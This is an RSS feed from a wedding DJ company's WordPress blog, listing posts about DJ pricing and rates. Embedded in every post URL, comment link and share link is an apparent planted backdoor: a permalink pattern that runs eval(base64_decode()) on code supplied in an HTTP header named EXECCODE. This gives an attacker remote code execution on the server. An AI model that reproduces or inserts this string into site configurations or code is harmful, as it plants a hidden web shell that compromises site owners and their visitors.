<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Professional Mobile Entertainment &#187; DJ Pricing</title>
	<atom:link href="http://www.professionalmobileent.com/blog/index.php/category/dj-pricing/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.professionalmobileent.com/blog</link>
	<description>Wedding Entertainment Specialist / Disc Jockey Service</description>
	<lastBuildDate>Thu, 15 Jul 2010 22:16:30 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Reasonable Price</title>
		<link>http://www.professionalmobileent.com/blog/2009/11/19/reasonable-price/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.professionalmobileent.com/blog/2009/11/19/reasonable-price/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 19 Nov 2009 21:07:02 +0000</pubDate>
		<dc:creator>Mark Sanchez</dc:creator>
				<category><![CDATA[DJ Pricing]]></category>
		<category><![CDATA[Bridal Tips]]></category>
		<category><![CDATA[DJ Hiring Tips]]></category>
		<category><![CDATA[Value vs. pricing]]></category>

		<guid isPermaLink="false">http://professionalmobileent.com/blog/?p=1144</guid>
		<description><![CDATA[What is a reasonable Price?]]></description>
		<wfw:commentRss>http://www.professionalmobileent.com/blog/2009/11/19/reasonable-price/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Disc Jockey Rates &amp; Fees</title>
		<link>http://www.professionalmobileent.com/blog/2009/08/26/disc-jockey-rates-fees/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.professionalmobileent.com/blog/2009/08/26/disc-jockey-rates-fees/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 26 Aug 2009 21:23:50 +0000</pubDate>
		<dc:creator>Mark Sanchez</dc:creator>
				<category><![CDATA[DJ Pricing]]></category>
		<category><![CDATA[ADJA]]></category>
		<category><![CDATA[DJ association]]></category>
		<category><![CDATA[fees]]></category>
		<category><![CDATA[rates]]></category>
		<category><![CDATA[Wedding DJ rates]]></category>

		<guid isPermaLink="false">http://professionalmobileent.com/blog/?p=566</guid>
		<description><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.professionalmobileent.com%2Fblog%2F2009%2F08%2F26%2Fdisc-jockey-rates-fees%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.professionalmobileent.com%2Fblog%2F2009%2F08%2F26%2Fdisc-jockey-rates-fees%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><p><a href="http://professionalmobileent.com/blog/wp-content/uploads/2009/09/money-symbol.jpg"><img class="size-full wp-image-670 alignleft" title="money-symbol" src="http://professionalmobileent.com/blog/wp-content/uploads/2009/09/money-symbol.jpg" alt="" width="111" height="111" /></a><a href="http://professionalmobileent.com/blog/2009/08/26/disc-jockey-rates-fees/">Disc Jockey Rates &amp; Fees</a><br />
<strong>Source: American Disc Jockey Association</strong><br />
Rates for the DJ industry vary greatly, ranging from $350.00 to over $5,000.00 with an average of $1,200.00 for a 4 hour booking. <a href="http://soundsensations.wordpress.com/2008/12/27/how-much-does-a-wedding-dj-cost/" target="_blank">Disc Jockey rates</a> vary based on talent, experience, emcee ability, service, coordination, equipment needed, music knowledge, mixing ability and personality.</p>
<p><span id="more-566"></span></p>
<p>The best price is not always the best deal, especially if you are planning a wedding. As a matter of fact, <a title="Bridal Survey" href="http://www.professionalmobileent.com/DJ_Facts.html" target="_blank">surveys</a> conclude that nearly 100% of brides would have spent more money on their entertainment and made it their #1 priority in hindsight.</p>
<p>A <a title="more then just music" href="http://professionalmobileent.com/blog/category/just-the-music/" target="_blank">full-service disc jockey</a> company will normally invest 12 to 30 hours to your special event but it may appear that you are only paying for &#8220;4 hours&#8221;. Consultations, music purchasing &amp; editing, preparation, set-up and tear-down, education and other business related endeavors add up to the overall success of your special occasion.</p>
<p><a href="http://professionalmobileent.com/blog/wp-admin/www.adja.org/chapters/azadja/leadership.html#vicepresident"><img src="http://www.celebrateintimateweddings.com/gifs/adjalogo.gif" alt="ADJA Logo" width="106" height="105" /></a><br />
<a href="http://www.adja.org/" target="_blank">American Disc Jockey Association</a></p>
]]></description>
		<wfw:commentRss>http://www.professionalmobileent.com/blog/2009/08/26/disc-jockey-rates-fees/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.401 seconds -->
